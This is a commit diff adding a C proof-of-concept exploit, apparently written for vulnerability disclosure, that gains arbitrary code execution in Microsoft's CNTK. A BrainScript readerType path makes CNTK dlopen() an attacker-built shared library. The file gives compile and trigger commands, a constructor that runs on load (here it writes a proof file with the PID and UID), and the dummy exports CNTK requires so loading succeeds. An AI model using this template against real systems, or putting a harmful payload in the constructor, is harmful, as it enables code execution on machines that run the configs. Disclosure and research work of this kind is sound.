Add evil_reader.c
Browse files- evil_reader.c +44 -0
evil_reader.c
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/*
|
| 2 |
+
* PoC: CNTK BrainScript dlopen() Arbitrary Code Execution
|
| 3 |
+
* ========================================================
|
| 4 |
+
*
|
| 5 |
+
* This shared library is loaded by CNTK when a BrainScript config specifies:
|
| 6 |
+
* readerType = "/tmp/evil"
|
| 7 |
+
*
|
| 8 |
+
* CNTK appends "-VERSION.so" and calls dlopen(), which triggers the
|
| 9 |
+
* constructor function below.
|
| 10 |
+
*
|
| 11 |
+
* Vulnerability: DataReader.cpp:102 → File.cpp:1087
|
| 12 |
+
* Plugin::Load(readerType, ...) → dlopen(soName.c_str(), RTLD_LAZY)
|
| 13 |
+
*
|
| 14 |
+
* Compile:
|
| 15 |
+
* gcc -shared -fPIC -o /tmp/evil-2.7.so evil_reader.c
|
| 16 |
+
*
|
| 17 |
+
* Trigger:
|
| 18 |
+
* cntk configFile=poc_dlopen.bs
|
| 19 |
+
*/
|
| 20 |
+
|
| 21 |
+
#include <stdio.h>
|
| 22 |
+
#include <stdlib.h>
|
| 23 |
+
#include <unistd.h>
|
| 24 |
+
|
| 25 |
+
/* Constructor runs automatically when dlopen() loads this library */
|
| 26 |
+
__attribute__((constructor))
|
| 27 |
+
void exploit_init(void) {
|
| 28 |
+
FILE *f = fopen("/tmp/cntk_rce_proof.txt", "w");
|
| 29 |
+
if (f) {
|
| 30 |
+
fprintf(f, "CNTK BrainScript dlopen RCE triggered!\n");
|
| 31 |
+
fprintf(f, "PID: %d\n", getpid());
|
| 32 |
+
fprintf(f, "UID: %d\n", getuid());
|
| 33 |
+
fclose(f);
|
| 34 |
+
}
|
| 35 |
+
}
|
| 36 |
+
|
| 37 |
+
/*
|
| 38 |
+
* Dummy exports required by CNTK.
|
| 39 |
+
* Plugin::LoadInternal() calls dlsym() for "GetReaderF" or "GetReaderD".
|
| 40 |
+
* These must exist to avoid RuntimeError, but the constructor already
|
| 41 |
+
* executed arbitrary code by this point.
|
| 42 |
+
*/
|
| 43 |
+
void GetReaderF(void** reader) { if (reader) *reader = NULL; }
|
| 44 |
+
void GetReaderD(void** reader) { if (reader) *reader = NULL; }
|